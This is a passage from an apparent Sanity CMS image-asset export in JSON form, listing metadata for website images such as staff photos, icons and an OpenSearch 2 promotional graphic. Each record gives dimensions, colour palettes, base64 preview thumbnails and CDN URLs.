08978","foreground":"#000","population":1.34,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"_DSC7716social.jpg","path":"images/sczeoy4w/production/201f6ab4251fc0ac2f5fdee9e54ab4f1176b7f80-300x300.jpg","sha1hash":"201f6ab4251fc0ac2f5fdee9e54ab4f1176b7f80","size":17440,"uploadId":"SFZqbNU5sL73WW5ZroRHzV6ja2VX3Aqo","url":"https://cdn.sanity.io/images/sczeoy4w/production/201f6ab4251fc0ac2f5fdee9e54ab4f1176b7f80-300x300.jpg"} {"_createdAt":"2022-06-30T20:11:03Z","_id":"image-2034d42196be5a28f17adb68ee3eb4d7189b69c4-1999x433-png","_rev":"CK1sLU2mnwa3vmbYWEeLqG","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:58Z","assetId":"2034d42196be5a28f17adb68ee3eb4d7189b69c4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DHS?47yWQmtla0~WTJVskqV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.61662817551963,"height":433,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAxklEQVQYlT2JS04DQQwF5/6nYhWEQGEBF2AREYIiMt3j9vfZqEeBkp6qZC9927K1nttGKappZunuCSAnU389qaqsu9Mj8/SVeH5LHI6Jl/dceHDNiUiZaplZuXtFRPncvQHs++/MCtHyj1PZ4Vj68FT6+FqL3AjaB5wGTBjuhkkgoK4QF3jEflMzEA0w896DBuj6AzlfIJ8XyPkbC58bybWRtkZMncyFMpOQIAkhDqZAUCJJVGldG/XeiZl339aVBvP+YxH6BWTMNYu5KhEAAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c415e","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#489a56","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc88a5","foreground":"#000","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acd2b2","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc88a5","foreground":"#000","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a3477a","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2294c","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2034d42196be5a28f17adb68ee3eb4d7189b69c4-1999x433.png","path":"images/sczeoy4w/production/2034d42196be5a28f17adb68ee3eb4d7189b69c4-1999x433.png","sha1hash":"2034d42196be5a28f17adb68ee3eb4d7189b69c4","size":106631,"uploadId":"IFfX4D6Hq4cAUCxEgOyLf4kMpIKLZKx4","url":"https://cdn.sanity.io/images/sczeoy4w/production/2034d42196be5a28f17adb68ee3eb4d7189b69c4-1999x433.png"} {"_createdAt":"2024-06-11T20:13:48Z","_id":"image-204123365ce2329cb53de645072f0baf38cb412e-960x540-png","_rev":"06CnkCNLb8AnjQwiBneK5C","_type":"sanity.imageAsset","_updatedAt":"2024-06-11T20:13:48Z","assetId":"204123365ce2329cb53de645072f0baf38cb412e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDIXs}00IV?Y0;~qI:WVWAx^02.7ofIove","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":540,"width":960},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJklEQVQokS3O7VMTBACA8f0FXXfWCZYis4KK9SJwJp6rzlMEIkscMDaE8VaDTRHXUgZTGBvb2IBtMLexsQFD4HCIOZC3Yy6KCMuXMvU6gqzuuuPyzrrr89Pp9eH5+rtHkPJmFeWfdGCwDqE39FFb14ZS2cq5lgB2xwRaXZj3cswc/rgbu2uB8MgyRlMYtdKE7nM3gf4YY5EfaLXEEecOIHjrnVpazCEuTy3g9wY4r6rFWPspg70eFuaXCA7NcVTqoLQ6wGL8AXdu/UTQ4aRbc5IBUytfzy+ysbHJ+OQ9ciUjCNL3qbA5LzIXu86wr4dAvYLxBgXXvN3c+GaZyOSXFJf1Uq0a5Obth6zf/5FpTwfxzjN862vjfuwqj/96xFxsnSPSMQTpWSos3cPMzs4ScduZ0NYw36gk1udiZekrxiLXKTzeQ1XdAN/d3ODhg7ss9Tv43qXnXtDKRnyKx5ubzCys8eETcPcT0NpP7NIoV616+tXlhE9WEDE0Mxu+SChwBYnc+RS8dec3Hv35B6vjIWJmLasXjPx+I86/f//D3OL/h29nVNNWpyd67iyBSimNH2SjyztEe14OHkUVNk07HxVYqagNsrzyM+tra8wM+bmkP8F0RxOrs1F+WfuVy9G75BePIhClFKM5UEhvbjaG/Xs5lZn5NN3udNr3idHlKzh8oJF8iQ1z5xBuT4A+q4lpWxMzTiMemx2LzY22KYQ4x4cgVVhA3cFiXDIZTlkJ9hIZnSUy3PJS/OUKWiRK3s86RVpmPblH1ZzW6hn1+7h9ZZiViWGcti7Kqhp4N/s0qRlmBEk7C6ko+gxvu4ug/QJesxOvycmAzUO4y0/zCTt79mhJSlWTfaQRoyXA2EiUL8anmBiLEgxOcrbZh/hQG8kiC4It2wrJyFJRUNRCkdzIMWkbEqkJaWkHJce7OJhn4qU0LS+8oiFTbEAid1Na1Yeswoe8MkB5zSDHZCEy9veQ/IYDwTNbJTybWMyWF+U8t72M53dUsjWphoRkJYlCNYnCehKEDSTs0rDt5TNsT2lix6vn2fmageTX2xGmWdklsiMUdZMscvIf1Cwk3wcYU2MAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b2120","foreground":"#fff","population":7.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041b68","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3b2120","foreground":"#fff","population":7.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9a9a6","foreground":"#000","population":0.81,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0baa3","foreground":"#000","population":1.24,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#835752","foreground":"#fff","population":6.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be383a","foreground":"#fff","population":1.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Social Share Slide.png","path":"images/sczeoy4w/production/204123365ce2329cb53de645072f0baf38cb412e-960x540.png","sha1hash":"204123365ce2329cb53de645072f0baf38cb412e","size":496490,"uploadId":"82YgRr9hr88JDyUWvpjhJMoPgb3BLWsJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/204123365ce2329cb53de645072f0baf38cb412e-960x540.png"} {"_createdAt":"2023-09-15T11:53:44Z","_id":"image-2087dc87f19d252e6b6455dca8875d7c5ed969f9-2858x1724-png","_rev":"kCpVRB4k8RYeMqmK07ETmB","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T11:53:44Z","assetId":"2087dc87f19d252e6b6455dca8875d7c5ed969f9","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6577726218097448,"height":1724,"width":2858},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAz0lEQVQokaWQjYqDMBCEfZgzUddozc/+JX3/1ypJlV7hWoVbhiUEPmZ2Oi53KYWyogjpS4nFkwZUj3U35YDZt58NZY3UYXLKwASEoAxCVUoQg1vW1S2ftMzOdRhsoR9Fw8kU6hWNosnURz/MM3ydqcHc7zAfMF+BoUNvn4Zv8CVneMaujDQ4k1H6B5ypPpIf3DydwCkMmYyg4dgKe4PPnYffheV2c4XDBee9bfoj9vnNR2yL0XINbzlaSSZs4wXYAyOkOG230R8Kt3FdplP4Afvbg+1HIIylAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b5c32","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#54450c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#686f73","foreground":"#fff","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#856d13","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eed98a","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f73","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfb71f","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"simple-node-test-call.png","path":"images/sczeoy4w/production/2087dc87f19d252e6b6455dca8875d7c5ed969f9-2858x1724.png","sha1hash":"2087dc87f19d252e6b6455dca8875d7c5ed969f9","size":106218,"uploadId":"kMnOBuMODJIBh5ZLprIGiDuQUA0SMOTs","url":"https://cdn.sanity.io/images/sczeoy4w/production/2087dc87f19d252e6b6455dca8875d7c5ed969f9-2858x1724.png"} {"_createdAt":"2022-10-04T12:13:08Z","_id":"image-20a03c069ad62ecab78e6a60f692f44c53be197a-1567x844-png","_rev":"C3wjC0aqDLLtRfG85ZUu6h","_type":"sanity.imageAsset","_updatedAt":"2022-10-04T12:13:29Z","altText":"OpenSearch 2 is here","assetId":"20a03c069ad62ecab78e6a60f692f44c53be197a","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEB{o$0y9z~AInS%x[xEIoS%5:=x%KEMa1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACVUlEQVQokXVSXU8TQRTd3+NHZ2a33W53t2tLod26bdpt05Z+iGhJC0IIm5QIIUBU6gcRE2LQGHzBB/gDPvjgoy/y4q/Zt8keM1NbiYkPJ+fOmdx7z5yMous6LMuSME0Ttm1LTqVSMy2RSIBSKjmfz6NUKsFOp8EYAyFE3lHKJCuZTAaNRgO9Xg+dTgfdbhftdhvNZlPqlUoFjuPIZjHQdV0sLi6i5vvIph0YuoXkPQ9GtgItaUMRLjzPQ71eh+/7qFarksvlstSFI+FSvETUYuFgOMTg4RKGRQ99rwe/u4+51jZ0pwhFbI7H43L7TQhNQNM0yYVCAUEQYHz0AptbW1hpNfC25OGqtYaDB4collcQNxwoIgOBWCwmMa2nusjFNg0Mlnx8ON7B+5MxVldX0S65OCvn8Kvu49KtoWo4MkdlEuj/QGR23oKFk9F9fD3t4fzVOoK1R+jXiziuzeF7LYdPGQseU6WBmcObmA6c1q2ygauxi5/nPr69a+DLXgWv+1nstfI47tSw4S7A0rTJQEpp9C8IIROWZxLVXBpdHOjR9Uc7uj5NRz/GdnQ5ykW7w140Cp5Gy8uDKGVask9JMgorEYdpGLP/9telcEzhpGLY6tzC5+3buBjFcD7K4ex5gMNnLzHaf4Pe4ycwTGvi0FYpz6WSPOs43DAMzhjjhBBOKeWUEk4I5YwR7qRivDp/h9cX7vJmtcA3gh0e7B7xpf46n5t3uapqsk+JMxLqmhrqiXioqmpIKQ0JIX+YhpQSydNaIKEnw1y+GObdUmhadsgYm/X8BjZej/A5/peTAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334258","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4d404","foreground":"#000","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f19318","foreground":"#000","population":4.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbd3dd","foreground":"#000","population":4.43,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6ea4e8","foreground":"#000","population":1.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7387b3","foreground":"#fff","population":0.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f19318","foreground":"#000","population":4.45,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"open-search-2.png","path":"images/sczeoy4w/production/20a03c069ad62ecab78e6a60f692f44c53be197a-1567x844.png","sha1hash":"20a03c069ad62ecab78e6a60f692f44c53be197a","size":142982,"title":"OpenSearch 2 has arrived, and it comes with a free octopus. Actually it doesn't, but it has a lot of other really cool features and improvements. Check it out!","uploadId":"nbUK5GQhJ93OqlhGPhxJGtakG0DAps3e","url":"https://cdn.sanity.io/images/sczeoy4w/production/20a03c069ad62ecab78e6a60f692f44c53be197a-1567x844.png"} {"_createdAt":"2022-06-30T11:58:23Z","_id":"image-20b3e1137ac4b983795e78595c74f25c555ca027-624x156-png","_rev":"cEPH2uRN58AU2lp9QO82Cf","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:20Z","assetId":"20b3e1137ac4b983795e78595c74f25c555ca027","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9S?0}HXhy;_VD_NE1S2t7%2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4,"height":156,"width":624},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAABJ0AAASdAHeZh94AAAAqklEQVQYlX3PywrCQAwF0P7/f4mIG60V66u0iPVJHSd1JplJUqnuRD3LC7ncJHE0PKfpZrmsyvJ46NV1bYxhZlXt/kpoOzVVfqqr6+Vkbr2maQAAEYkoxvBu+Sppd5N2n/njJjTn6FwgQkQAMC/WWkQUkR/H+dBlA56Pu2Ld3e8qzMzOOWstADwebQjhY7+qyksSy5xXM1lkWhRqzDsmIu99iPHr5yLisfcENFMfn3q3ZbsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c1e07","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f86d84","foreground":"#000","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcb2d7","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f86d84","foreground":"#000","population":0.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae4f54","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f03f15","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"20b3e1137ac4b983795e78595c74f25c555ca027-624x156.png","path":"images/sczeoy4w/production/20b3e1137ac4b983795e78595c74f25c555ca027-624x156.png","sha1hash":"20b3e1137ac4b983795e78595c74f25c555ca027","size":19442,"uploadId":"SZY697y7znc75CBEfx1duhAah5ARUbhz","url":"https://cdn.sanity.io/images/sczeoy4w/production/20b3e1137ac4b983795e78595c74f25c555ca027-624x156.png"} {"_createdAt":"2022-06-14T14:41:02Z","_id":"image-20cb9dbe000ccd903c8a32c523d5ff48aa1e5735-205x205-jpg","_rev":"oamrAPLmQLQjd9jh7YpyvK","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:02Z","assetId":"20cb9dbe000ccd903c8a32c523d5ff48aa1e5735","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ejKxM9.8.mt7xE-;M{tSWBMxE2kBMwt7tRo~t7xFV@Iot7RjWAj?WC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQADAAAAAAAAAAAAAAAAAAcEBQj/xAAlEAACAQQCAQMFAAAAAAAAAAABAgMABAUGETEHEhMhFDJBUYH/xAAYAQACAwAAAAAAAAAAAAAAAAACAwABBP/EABwRAAICAgMAAAAAAAAAAAAAAAABAgMSMREhUf/aAAwDAQACEQMRAD8Arnkie9xerTzYwrHcswQSN0gPZqWYu9yeEy+NkGcfJi5dVuIn+QAx7FXDdIYptbvllMYAjLD3DwORXO2G2ZraWOfIY/1WsUqgyrH6R8HoH81JOzlY6DojU65Key+zYxGk9XHdK1tpv2tXUCyrkoUBH2ueCKU7swYkY82bDk7nabzHSXTizhcKsSngf391neWH9jAa5awhUh+iWQgDjluOzSlH4OWmTW2gjaIFhyTSlKMo/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333c4f","foreground":"#fff","population":12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2c40","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#333c4f","foreground":"#fff","population":12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adc6c9","foreground":"#000","population":2.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0b39c","foreground":"#000","population":1.5,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b47f6a","foreground":"#fff","population":5.64,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d49885","foreground":"#000","population":3.55,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"prem.jpg","path":"images/sczeoy4w/production/20cb9dbe000ccd903c8a32c523d5ff48aa1e5735-205x205.jpg","sha1hash":"20cb9dbe000ccd903c8a32c523d5ff48aa1e5735","size":17077,"uploadId":"ybqwWTj7FcC6aJO3G0mbybTDw0b0pwGR","url":"https://cdn.sanity.io/images/sczeoy4w/production/20cb9dbe000ccd903c8a32c523d5ff48aa1e5735-205x205.jpg"} {"_createdAt":"2023-03-15T12:51:39Z","_id":"image-2123f0a2c44f339f9cf10314f9b82609626afe30-800x800-jpg","_rev":"RksXZeZKLvjmDTh00dGUIz","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:39Z","assetId":"2123f0a2c44f339f9cf10314f9b82609626afe30","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcGCAX/xAAkEAACAgIBAwQDAAAAAAAAAAABAgMEAAUGERIxByFBURNhkf/EABYBAQEBAAAAAAAAAAAAAAAAAAMEAf/EABkRAAMBAQEAAAAAAAAAAAAAAAABAhIDEf/aAAwDAQACEQMRAD8A6V5HPJBrXMLlGb27h5A/WTatt7Gr5RRSlanmhnlEc0Uh6g9fkfRze8o2NJaz1jYQ2fIjVh3fzJbqZwnJYrF1HSjDIZGeQ9OhGD0b0vCrjMuKbLljPFocq0d+ss9XaVHjbwfyAYxiU4n0++2a8mrbBrkr2mlUM7sT1BPg5tvW3kWxfZrrVlEdTsVykY6dxI+cYymktIGW8skpkdPZHdR9BiMYxmmH/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#243443","foreground":"#fff","population":4.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#23334c","foreground":"#fff","population":2.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a6766a","foreground":"#fff","population":5.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ceaaa5","foreground":"#000","population":1.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8b6a9","foreground":"#000","population":2.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6766a","foreground":"#fff","population":5.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4848c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"hannu-valtonen.jpg","path":"images/sczeoy4w/production/2123f0a2c44f339f9cf10314f9b82609626afe30-800x800.jpg","sha1hash":"2123f0a2c44f339f9cf10314f9b82609626afe30","size":121948,"uploadId":"S72HaXxOTFhtEgvBAd18LwDEG4yX6Bx6","url":"https://cdn.sanity.io/images/sczeoy4w/production/2123f0a2c44f339f9cf10314f9b82609626afe30-800x800.jpg"} {"_createdAt":"2023-03-15T12:51:41Z","_id":"image-21433b4ae1a8340f9b89da362c0ddaac724147fe-800x800-jpg","_rev":"0lF4kyZBi1fr8QymZ2oWoo","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:41Z","assetId":"21433b4ae1a8340f9b89da362c0ddaac724147fe","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGwABAAEFAQAAAAAAAAAAAAAAAAUBAgQGBwj/xAAkEAABBAEEAgIDAAAAAAAAAAABAgMEBQAGERIhBzETQVGBg//EABcBAQEBAQAAAAAAAAAAAAAAAAQBAAL/xAAZEQADAQEBAAAAAAAAAAAAAAAAAQIDMSH/2gAMAwEAAhEDEQA/AO2+Wr+RT1kJiG4WnJj4aU4PaU/ZyJodQop5VewqWqUzMWGypXsE+sv888GNPRp3MJeYd3bBPZOarS7zk0y5pKOKg8eew7GH0pqheUTUM7yMZgM29etsFM2Of6DGICHhfzHq27uNb2sadPdVGjSVIaaB2SkD11kRQ6ouVW0NLlg+tPII4qVuNvxjGSkmjqW0/CurdRWT17IPzlsJPEJbJA6/eMYyzxGrp//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#553d32","foreground":"#fff","population":1.96,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#150c04","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8d786d","foreground":"#fff","population":3.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7a291","foreground":"#000","population":3.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4b494","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d786d","foreground":"#fff","population":3.49,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d67a28","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"katariina-korhonen.jpg","path":"images/sczeoy4w/production/21433b4ae1a8340f9b89da362c0ddaac724147fe-800x800.jpg","sha1hash":"21433b4ae1a8340f9b89da362c0ddaac724147fe","size":147948,"uploadId":"XExd8097pEmlz0PoqtXLMVzroegNalO9","url":"https://cdn.sanity.io/images/sczeoy4w/production/21433b4ae1a8340f9b89da362c0ddaac724147fe-800x800.jpg"} {"_createdAt":"2022-09-07T11:39:46Z","_id":"image-216087e3f84e46bc6fec1379d984299ce66186a1-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFk8m","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:46Z","assetId":"216087e3f84e46bc6fec1379d984299ce66186a1","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdUlEQVQ4jW1VO0+UURA9yyISwaAWJNQ0WtHQGQtKWhUKgih7LiCPxEe0MRolxkRqG1sqY0iwMkqCC0IsNP4BH79ljpl7Z3e/XXeTk9mdmXPu3Pnmm4XuAGoAtgJoGRADqWKrqMYczr/biUPzgNZy8IyIUREXM1LFVlGNFYyqgTN2C7AttE8bETFtxIqIZyK2lbDdtlVUY8RTFc60NTCi2y5I1ERMiXgt4tCIryKOlHBsxLHbLrR8xFHkHgZ3Sg3UYMSAEfMiDozYFbEs4roSboq4odQHzDHPWRaxa8SBisaAV1gXsWbEiYgHRoxF4wc8IdsqvAC3/gBTzn0YXNeowxLqlrChhBMlrCvhbPVJWuqG+y38Ys5dVxHcyIJR4YaIUxXh4RiJ2n8j0xkd77vb4SjmNGypMIR6BSEfg56PfDw6wsPtYootFVo4LWFTCecieaBdSSPQqrz0FpG7mbm9V7ZyZe/HUO5dq8r7uaKaw793xTy3cLoqHBSxJeKbJTyyhAmVJ31JxPkc71xxMHweG1PChHOcK+ZKB/20cREvjPhtCZ+U8Mp/B/ygGRGTgZnwlbjnOof4ZcRzEeN+6jUR70X8tYTvSmiKGcdh90S8Dex1xRKalvBDxB8R70RcdcE5Dxqxbwmr8dunfknEyxD5HNgL31LkzClh1bkivvgb5IKzIj6oODcrggsi7onYEfEmsBO+hbYgM2ffisYsojePRXzMS8FP6ly7Gb4qmu3rlqrc51zXmPSl6mNyRcSiEp70WVne/Cp6V5lzFkVcVgND0M88Dj6LvhMv9Fmg/dHJcY5z61Jrwfau9soi6IfKq9ex/heyAvwD0dKYRnUrKM8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#181c0c","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a43404","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f76109","foreground":"#fff","population":7.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#853513","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e47444","foreground":"#fff","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a77048","foreground":"#fff","population":2.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f76109","foreground":"#fff","population":7.99,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-laptop.svg","path":"images/sczeoy4w/production/216087e3f84e46bc6fec1379d984299ce66186a1-24x24.svg","sha1hash":"216087e3f84e46bc6fec1379d984299ce66186a1","size":914,"uploadId":"fiAQT7mWvVtymeZLubGQEhbC4NqVwdl0","url":"https://cdn.sanity.io/images/sczeoy4w/production/216087e3f84e46bc6fec1379d984299ce66186a1-24x24.svg"} 